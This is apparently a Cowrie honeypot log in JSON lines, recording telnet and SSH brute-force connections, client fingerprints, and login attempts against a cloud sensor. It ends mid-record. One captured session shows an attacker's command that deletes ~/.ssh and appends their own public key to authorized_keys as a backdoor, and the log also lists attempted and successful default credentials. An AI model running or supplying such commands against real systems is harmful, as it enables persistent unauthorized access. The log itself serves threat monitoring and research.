{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56658,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c7af8241b0b","protocol":"telnet","message":"New connection: 209.159.146.115:56658 (159.203.135.109:23) [session: 7c7af8241b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:33.712915Z"}
{"eventid":"cowrie.session.closed","duration":32.550522804260254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:34.171905Z","src_ip":"209.159.146.115","session":"57c8cb80262a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.432616233825684,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:34.788098Z","src_ip":"209.159.146.115","session":"5fbc1687171c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"a179c6b3d3a5","protocol":"telnet","message":"New connection: 209.159.146.115:35840 (159.203.135.109:23) [session: a179c6b3d3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:35.113080Z"}
{"eventid":"cowrie.session.closed","duration":32.974934816360474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:35.585435Z","src_ip":"209.159.146.115","session":"b510bdc995fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":32910,"dst_ip":"159.203.135.109","dst_port":23,"session":"64feed7a4edd","protocol":"telnet","message":"New connection: 209.159.146.115:32910 (159.203.135.109:23) [session: 64feed7a4edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:35.763393Z"}
{"eventid":"cowrie.session.closed","duration":31.421041011810303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:35.991306Z","src_ip":"209.159.146.115","session":"a08ded5bb74e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.070586919784546,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:38.543235Z","src_ip":"209.159.146.115","session":"b0a2c803b94e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.070552110672,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:38.893116Z","src_ip":"209.159.146.115","session":"4b5d6ed49cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.84968137741089,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:39.444690Z","src_ip":"209.159.146.115","session":"b30d32ff5744","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82817840576172,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:39.816884Z","src_ip":"209.159.146.115","session":"2a37961369aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16409778594971,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:40.284095Z","src_ip":"209.159.146.115","session":"a69e60e4d1cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35428,"dst_ip":"159.203.135.109","dst_port":23,"session":"73333f6df5f0","protocol":"telnet","message":"New connection: 209.159.146.115:35428 (159.203.135.109:23) [session: 73333f6df5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:42.084244Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49618,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad49d4309fa8","protocol":"telnet","message":"New connection: 209.159.146.115:49618 (159.203.135.109:23) [session: ad49d4309fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:43.278968Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52480,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0caa892d33d","protocol":"telnet","message":"New connection: 209.159.146.115:52480 (159.203.135.109:23) [session: a0caa892d33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:44.175655Z"}
{"eventid":"cowrie.session.closed","duration":34.040364265441895,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:44.629843Z","src_ip":"209.159.146.115","session":"3840d886b336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56346,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d67d463545e","protocol":"telnet","message":"New connection: 209.159.146.115:56346 (159.203.135.109:23) [session: 4d67d463545e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:44.684244Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35338,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c12bfa98329","protocol":"telnet","message":"New connection: 209.159.146.115:35338 (159.203.135.109:23) [session: 1c12bfa98329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:45.361470Z"}
{"eventid":"cowrie.session.closed","duration":34.91612768173218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:48.089177Z","src_ip":"209.159.146.115","session":"a6e71298ed97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52444,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc2eb8a2dd92","protocol":"telnet","message":"New connection: 209.159.146.115:52444 (159.203.135.109:23) [session: dc2eb8a2dd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:48.481171Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50816,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac22f6e106b5","protocol":"telnet","message":"New connection: 209.159.146.115:50816 (159.203.135.109:23) [session: ac22f6e106b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:48.950732Z"}
{"eventid":"cowrie.session.closed","duration":42.829426765441895,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:50.616307Z","src_ip":"209.159.146.115","session":"5f0527767f02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5751616954803467,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:51.056233Z","src_ip":"209.159.146.115","session":"dc2eb8a2dd92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36964,"dst_ip":"159.203.135.109","dst_port":23,"session":"93953553177f","protocol":"telnet","message":"New connection: 209.159.146.115:36964 (159.203.135.109:23) [session: 93953553177f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:51.082139Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2004d5bdff7","protocol":"telnet","message":"New connection: 209.159.146.115:40962 (159.203.135.109:23) [session: f2004d5bdff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:52.193604Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46672,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a64cf232734","protocol":"telnet","message":"New connection: 209.159.146.115:46672 (159.203.135.109:23) [session: 4a64cf232734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:53.357340Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46850,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfba686019a6","protocol":"telnet","message":"New connection: 209.159.146.115:46850 (159.203.135.109:23) [session: cfba686019a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:53.423064Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":49788,"dst_ip":"159.203.135.109","dst_port":22,"session":"996a66d7b420","protocol":"ssh","message":"New connection: 157.66.34.121:49788 (159.203.135.109:22) [session: 996a66d7b420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:53.604495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:53.608950Z","src_ip":"157.66.34.121","session":"996a66d7b420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:53.842065Z","src_ip":"157.66.34.121","session":"996a66d7b420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":57528,"dst_ip":"159.203.135.109","dst_port":22,"session":"09b1cec82155","protocol":"ssh","message":"New connection: 186.13.24.118:57528 (159.203.135.109:22) [session: 09b1cec82155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:53.900280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:53.904835Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:54.070876Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.88082957267761,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:54.533621Z","src_ip":"209.159.146.115","session":"635596ee8083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52072,"dst_ip":"159.203.135.109","dst_port":23,"session":"08bb1374ccf2","protocol":"telnet","message":"New connection: 209.159.146.115:52072 (159.203.135.109:23) [session: 08bb1374ccf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:54.662038Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:54.759866Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"test","message":"login attempt [nexus/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:54.806549Z","src_ip":"157.66.34.121","session":"996a66d7b420","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.139634Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.143563Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.147827Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.317870Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56610,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5a4c9c6fee","protocol":"telnet","message":"New connection: 209.159.146.115:56610 (159.203.135.109:23) [session: 2d5a4c9c6fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.493448Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.694532Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.698529Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.869803Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:55.873363Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":58438,"dst_ip":"159.203.135.109","dst_port":22,"session":"460addd229db","protocol":"ssh","message":"New connection: 186.13.24.118:58438 (159.203.135.109:22) [session: 460addd229db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:56.027603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:56.032102Z","src_ip":"186.13.24.118","session":"460addd229db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:56.041825Z","src_ip":"157.66.34.121","session":"996a66d7b420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:56.196248Z","src_ip":"186.13.24.118","session":"460addd229db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60894,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c52eef3fb5d","protocol":"telnet","message":"New connection: 209.159.146.115:60894 (159.203.135.109:23) [session: 7c52eef3fb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:56.392462Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:56.878320Z","src_ip":"186.13.24.118","session":"460addd229db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36784,"dst_ip":"159.203.135.109","dst_port":23,"session":"5470f248267a","protocol":"telnet","message":"New connection: 209.159.146.115:36784 (159.203.135.109:23) [session: 5470f248267a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:57.714164Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.045205Z","src_ip":"186.13.24.118","session":"460addd229db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":58446,"dst_ip":"159.203.135.109","dst_port":22,"session":"c688c4df15ed","protocol":"ssh","message":"New connection: 186.13.24.118:58446 (159.203.135.109:22) [session: c688c4df15ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.213195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.217650Z","src_ip":"186.13.24.118","session":"c688c4df15ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","ae